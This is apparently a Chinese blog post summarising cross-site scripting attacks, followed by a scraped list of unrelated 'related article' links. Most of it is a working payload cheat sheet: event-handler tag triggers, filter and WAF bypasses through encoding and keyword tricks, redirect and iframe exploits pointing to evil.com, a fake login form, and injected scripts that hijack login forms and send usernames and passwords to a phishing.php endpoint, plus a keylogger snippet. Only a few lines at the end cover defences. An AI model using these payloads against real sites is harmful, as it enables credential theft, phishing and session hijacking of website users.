公粽号:黒掌
一个专注于分享网络安全、黑客圈热点、黑客工具技术区博主!

简述

XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java,VBScript,ActiveX,Flash或者甚至是普通的HTML。攻击成功后,攻击者可能得到更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
原理:用户输入的数据当做HTML代码拼接到程序代码中去执行恶意的JS语句

分类

反射型

反射型跨站脚本(Reflected Cross-Site Scripting)是最常见,也是使用最广的一种,可将恶意脚本附加到 URL 地址的参数中。反射型 XSS 的利用一般是攻击者通过特定手法(如电子邮件),诱使用户去访问一个包含恶意代码的 URL,当受害者点击这些专门设计的链接的时候,恶意代码会直接在受害者主机上的浏览器执行。此类 XSS 通常出现在网站的搜索栏、用户登录口等地方,常用来窃取客户端 Cookies 或进行钓鱼欺骗

存储型xss

持久型跨站脚本(Persistent Cross-Site Scripting)也等同于存储型跨站脚本(Stored Cross-Site Scripting)。此类 XSS 不需要用户单击特定 URL 就能执行跨站脚本,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。持久型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中

DOM型xss

传统的 XSS 漏洞一般出现在服务器端代码中,而 DOM-Based XSS 是基于 DOM 文档对象模型的一种漏洞,所以,受客户端浏览器的脚本代码所影响。客户端 JavaScript 可以访问浏览器的 DOM 文本对象模型,因此能够决定用于加载当前页面的 URL。换句话说,客户端的脚本程序可以通过 DOM 动态地检查和修改页面内容,它不依赖于服务器端的数据,而从客户端获得 DOM 中的数据(如从 URL 中提取数据)并在本地执行。另一方面,浏览器用户可以操纵 DOM 中的一些对象,例如 URL、location 等。用户在客户端输入的数据如果包含了恶意 JavaScript 脚本,而这些脚本没有经过适当的过滤,那么应用程序就可能受到基于 DOM 的 XSS 攻击

xss平台

xsspt.com(开放注册)
https://xss8.cc
xss9.com(需要邀请码)

常见标签触发语句

<scirpt>
<scirpt>alert("xss");</script>
<a>
<a href="javascript:alert(`xss`);">xss</a>
<img>
<img src=1 οnerrοr=alert("xss");>
<input>
<input onfocus="alert('xss');">
<details>
<details ontoggle="alert('xss');">
<svg>
<svg οnlοad=alert("xss");>
<select>
<select onfocus=alert(1)></select>
<iframe>
<iframe οnlοad=alert("xss");></iframe>
<video>
<video><source onerror="alert(1)">
<audio>
<audio src=x  οnerrοr=alert("xss");>
<body>
<body/οnlοad=alert("xss");>
<textarea>
<textarea οnfοcus=alert("xss"); autofocus>
<keygen>
<keygen autofocus onfocus=alert(1)>
<marquee>
<marquee onstart=alert("xss")></marquee>
<isindex>
<isindex type=image src=1 οnerrοr=alert("xss")>
<link>
<link rel=import href="http://127.0.0.1/1.js">

绕过过滤方法

过滤空格
<img/src="x"/οnerrοr=alert("xss");> #用/代替空格
过滤关键字
<ImG sRc=x onerRor=alert("xss");> #大小写绕过
双写关键字
<imimgg srsrcc=x οnerrοr=alert("xss");> #有些waf可能会只替换一次且是替换为空,这种情况下可以用双写关键字绕过
字符拼接
<img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">
<script>top["al"+"ert"](`xss`);</script>
编码绕过
<img src="x" onerror="&#97;&#108;&#101;&#114;&#116;&#40;&#34;&#120;&#115;&#115;&#34;&#41;&#59;"> #Unicode编码绕过
<img src="x" onerror="eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003b')"> #Unicode编码绕过
<img src="x" onerror="eval(unescape('%61%6c%65%72%74%28%22%78%73%73%22%29%3b'))"> #url编码绕过
<img src="x" onerror="eval(String.fromCharCode(97,108,101,114,116,40,34,120,115,115,34,41,59))"> #Ascii码绕过
<img src=x οnerrοr=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')> #hex绕过
<img src=x οnerrοr=alert('\170\163\163')> #八进制
<img src="x" onerror="eval(atob('ZG9jdW1lbnQubG9jYXRpb249J2h0dHA6Ly93d3cuYmFpZHUuY29tJw=='))"> #base64绕过
过滤双引号,单引号
<img src="x" onerror=alert(`xss`);> #如果是html标签中,我们可以不用引号。如果是在js中,我们可以用反引号代替单双引号
过滤括号
<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';"> #当括号被过滤的时候可以使用throw来绕过
过滤url地址
<img src="x" οnerrοr=document.location=`http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/`> #url编码
使用IP
<img src="x" οnerrοr=document.location=`http://2130706433/`> #十进制IP
使用中文逗号代替英文逗号
<img src="x" onerror="document.location=`http://www。baidu。com`"> #如果你在域名中输入中文句号浏览器会自动转化成英文的逗号

XSS 钓鱼的方式

水坑攻击(Watering Hole)

“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”;其针对的目标多为特定的团体(组织、行业、地区等)

鱼叉式网络钓鱼(Spear phishing )

“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马

鲸钓攻击(Whaling Attack)

是鱼叉式钓鱼的一种,与CEO欺诈相反。攻击者的目的是高层管理人员,如CEO、CFO等,其目的是诱导高管输入敏感信息和公司数据

CEO欺诈或商务邮件欺诈(BEC)

假装公司的CEO或其他高管,向级别较低的员工(通常是会计或财务部门的员工)发送电子邮件,这些电子邮件的目的是获取商业机密信息或让受害者将资金转移到一个虚假账户

克隆网络钓鱼

利用受害者已经收到的合法信息,仿真创建一个恶意脚本,再以上一封电子邮件的链接有问题为由,要重新发送原始邮件,来诱导用户点击克隆的钓鱼邮件

域欺骗(Pharming)

伪造一个新的电子邮件头,使它看起来像是来自一家合法公司的电子邮件地址。或者创建一个欺诈网站,让它的域名看上去是合法的或与合法公司的域名相似

XSS 重定向钓鱼(XSS Redirect Phishing)

这种钓鱼方式是把当前页面重定向到一个钓鱼网站上。假如 www.bug.com 为漏洞网站,那么钓鱼网站 www.evil.com就会完全仿冒正常网站的页面内容及行为,从而进行钓鱼等诈骗活动
假设 www.bug.com上有一处 XSS:
http://www.bug.com/index.php?search=【Expliot】
那么, Exploit 如下:
http://www.bug.com/index.php?search="’%3E
这样便会让用户从当前访问的网站跳转到钓鱼网站

HTML注入式钓鱼(XSS HTML Inject Phishing)

HTML 注入式钓鱼是指直接利用 XSS 漏洞注射 HTML/JavaScript 代码到页面中
示例代码:

http://www.bug.com/index.php?search=
<html>
<head>
<title>login</title>
</head>
<body>
<div style="text-align: center;">
<form Method="POST" Action="phishing.php" Name="form">
<br/>Username:<br/><input name="Username" />
<br />Password:<br/><input name="Password" type="password" /><br/>
<br /><input name="Valid" value="login" type="submit" /><br/>
</form>
</div>
</body>
</html>

这段代码会构造出一个登录表单,该表单可以覆盖原页面显示,用来窃取用户输入账号和密码等信息

XSS 跨框架钓鱼(Iframe Phishing)

这种方式是通过标签嵌入远程域的一个页面实施钓鱼,利用 Iframe 引用第三方的内容伪造登录控件,此时主页面依然处在正常网站的域名下,因此具有很高的迷惑性
假设有一个 XSS:
http://www.bug.com/index.php?search=【Expliot】
那么,Exploit 如下:
http://www.bug.com/index.php?search=’%3E<iframe src=“http://www.evil.com”height=“100%” width=“100%”>
Iframe 的效果可以做得很真实,可以跨框架覆盖整个页面

Flash 钓鱼(Flash Phishing)

Flash 钓鱼甚至不要求网站存在 XSS 漏洞,只要攻击者把精心构造的 Flash 文件(比如一个假冒的登录框)上传到远程服务器,然后在目标网站中使用或标签去引用 Flash 即可Flash 本身也存在许多的安全漏洞,包括 XSS、 CSRF 和跨域等问题,而且 Flash 也有内置的编程语言——ActionScript。ActionScript 与JavaScript、服务端编程语言一样都可以作为跨站攻击的一种辅助手段

高级钓鱼技术

黑客利用 XSS 漏洞可以窃取用户会话的 Cookie,从而窃取网站用户的隐私数据,包括 MD5密码信息等。但是,如果网站使用了 Httponly 的 Cookie(将 Cookie 的属性设置为“Httponly”就可防止 Cookie 被恶意 JavaScript 脚本存取),或无法通过 Cookie 欺骗等方式侵入受害者的账户,那么窃取用户 Cookie 方法就显得英雄无用武之地
这种情况下,黑客更青睐于直接获取用户的明文账户密码信息。这时候就要用到一些高级的XSS 钓鱼技术,而构成这些技术的主要元素无非是我们所熟知的JavaScript、Ajax 等
最简单、最直接的实现方法就是注入 JavaScript 脚本代码劫持 HTML 表单和控制 Web 的行为
JavaScript代码:

<script>
Form = document.forms["userslogin"];
Form.onsubmit = function(){
var iframe = document.createElement("iframe");
iframe.style.display = "none";
alert(Form.user.value);
iframe.src = "http://127.0.0.1/phishing.php?user="+Form.user.value + "&pass=" +
Form.pass.value;
document.body.appendChild(iframe);
}
</script>

这段代码用来截取用户在登录页面输入的用户名和密码信息,然后提交给当前创建的 PHP脚本
JavaScript代码:

<script>
loginForm = document.forms[' userslogin '];
function parseData()
{
var user = loginForm.user.value;
var pass = loginForm.pass.value;
saveData(username,password);
return true;
}
function saveData(username,password)
{
var frame=document.createElement('iframe');
frame.src=" http://127.0.0.1/phishing.php?user=" + user + "&pass=" + pass;
frame.style.display='none';
document.body.appendChild(frame);
}
loginForm.onsubmit = parseData;
</script>

如图 2-21 所示,在本地进行测试,用浏览器访问测试页面,然后输入一些信息并提交,处理程序便会获取和记录相关信息,如图 2-22 所示


劫持链接的 onclick 事件
for(i=0;i<document.links.length;i++){
document.links[i].onclick = hijack;}
监听键盘 的onkeydown 事件
document.οnkeydοwn=function(e){
if(!e)e=window.event;
try{hijack();}catch(ex){}}
JavaScript 键盘记录器捕获用户按下的特定键

<script>
function keyDown() {
var keycode = event.keyCode;
var realkey = String.fromCharCode(event.keyCode);
alert("按键码: " + keycode + " 字符: " + realkey);
}
document.onkeydown = keyDown;
</script>

危害

网络钓鱼
网站挂马
传播跨站脚本蠕虫等
盗用cookie,获取敏感信息
强制弹出广告页面、刷流量等
进行大量的客户端攻击,如 DDoS 攻击
进行恶意操作,例如任意篡改页面信息、删除文章等
获取客户端信息,例如用户的浏览历史、真实 IP、开放端口等
劫持用户会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等

防御方法

过滤一些危险字符
设置httponly
输入内容长度限制
HTML实体编码

来源:我们社区学员-渗透御

今天的分享就到这里,喜欢的小伙伴记得一键三连,我有一个公粽号【黒掌】, 可以免费获取更多黑客秘籍,欢迎来耍!

干货分享 |全面总结XSS相关推荐

  1. 报道 | 本科4篇顶会论文如何做到?清华特奖干货分享:我是这样写论文、做实验、与导师相处...

    ↑↑↑↑↑点击上方蓝色字关注我们! 『视学算法』转载 作者:量子位 编者按: 清华本科特奖获得者.清华计算机大四学生高天宇的顶会论文干货分享,手把手教你打开本科生/嗑盐小白科研之门的门钥匙. 本科生, ...

  2. 数据库迁移_【干货分享】DM数据库迁移方法(物理迁移)

    在数据库的维护过程中,可能涉及换服务器,或者需要现网数据库环境测试的情况,这时,最简单快速的办法就是将源数据库相关的文件拷贝到目标主机,然后注册数据库实例服务.这就是数据库的物理迁移过程,可以是从wi ...

  3. 位图排序 大数据_干货分享:大话12种排序算法

    干货分享:大话12种排序算法 常见的排序算法: 快速排序.堆排序.归并排序.选择排序 插入排序.二分插入排序 冒泡排序.鸡尾酒排序 桶排序.计数排序.基数排序.位图排序 技能点: 1.归并排序在O(N ...

  4. 揭秘百度核心技术:53位专家纯干货分享

    2019独角兽企业重金招聘Python工程师标准>>> 揭秘百度核心技术:53位专家纯干货分享 百度--中国互联网三大巨头之一,全球最大的中文搜索引擎,拥有着中国大部分上网者的上网入 ...

  5. dm7和mysql_【干货分享】达梦数据库DM7的新特性发布啦

    原标题:[干货分享]达梦数据库DM7的新特性发布啦 近日,DM7正式发布新特性.作为一款广受业内人士认可的国产数据库产品,最突出的特征就是它良好的兼容性,完善的功能以及超出客户期望的优秀性能表现:本次 ...

  6. 【精品资源】干货分享:20款精美的手机网站模板下载

    移动互联网在过去一年呈现爆发性增长,掀起移动互联网应用的热潮.众多互联网公司都争相推出手机应用和手机网站,想在移动大蛋糕中分一杯羹.这篇文章向大家分享20款精美的手机网站模板. 您可能感兴趣的相关文章 ...

  7. 【干货分享】云服务平台的架构及优势(上)

    来源商业新知网,原标题:[干货分享]云服务平台的架构及优势(上) 前言 我们通常所说的云服务或云平台广义上是一个概念,但其实内部是两个部分. 1.支撑云服务运行的硬件和软件系统环境(云架构平台,简称云 ...

  8. linux共享文件丢失,【干货分享】linux平台下数据文件被误删后,如何及时得知并进行恢复...

    原标题:[干货分享]linux平台下数据文件被误删后,如何及时得知并进行恢复 我们知道在windows平台下,一旦文件在程序中打开,则不能被删除,所以不存在误删数据文件的情况,如下图所示. 但是在LI ...

  9. lwip协议栈优化_干货分享 | KNI性能优化实践

    友情提示:全文5000多文字,预计阅读时间15分钟 文章源自现网实践对支撑及用户态/内核态网络报文交换场景的认识,欢迎有Linux/FreeBSD内核.网络协议栈.DPDK优化实践经验的同学留言探讨- ...

  10. 如何快速全面建立自己的大数据知识体系? 大数据 ETL 用户画像 机器学习 阅读232 作者经过研发多个大数据产品,将自己形成关于大数据知识体系的干货分享出来,希望给大家能够快速建立起大数据

    如何快速全面建立自己的大数据知识体系? 大数据 ETL 用户画像 机器学习 阅读232  作者经过研发多个大数据产品,将自己形成关于大数据知识体系的干货分享出来,希望给大家能够快速建立起大数据产品的体 ...

最新文章

  1. 设计模式:简单工厂、工厂方法、抽象工厂之小结与区别
  2. shell if else
  3. Springcloud gateway获取post请求内容
  4. ConcurrentHashMap的初步使用及场景
  5. python字符串格式化_Python3 字符串格式化
  6. Apache Flink新场景——OLAP引擎
  7. Python 爬虫之代理服务器
  8. 一键清空服务器文件,一键清理操作系统垃圾文件的BAT
  9. 大文件(10G以上吧)的处理
  10. Graphene图数据建模工具
  11. 笔记19-IO流Properties集合
  12. Jmeter进行上传图片接口测试
  13. 《中国睡眠研究报告2022》:被调查大学生睡前不看手机的不足3%
  14. Java从零到企业级电商项目实战: linux环境配置
  15. 校招/社招/秋招/春招求职指南
  16. Linux分区命令-parted
  17. FPGA系统性学习笔记连载_Day1数字电路基础篇
  18. 解决:springmvc中接收date数据问题
  19. 返利APP对比,返利APP那个好?
  20. win7使用命令提示符怎么运行C语言,怎么有效的解决win7系统的命令提示符打开

热门文章

  1. 【net core】VSCode调试NetCore Web项目问题集锦
  2. JavaScript语言精粹_笔记
  3. 如何实现一套鼠标键盘控制二台主机
  4. php 往sftp发送文件夹,通过PHP将文件上传到SFTP服务器(phpseclib)
  5. spring 依赖注入_这几个关于Spring 依赖注入的问题你清楚吗?
  6. C++学习之-std::make_unique 与std::unique_ptr
  7. Python的类和继承中的属性变量
  8. python中字符串是对象吗_python中字符串对象提供了很多方法来操作字符串
  9. hashcode值一样对象一定相同吗_为什么重写equals()方法就必须重写hashcode()方法?...
  10. 移动pc一套代码_【腾讯】如何避免 CDN 为 PC 端缓存移动端页面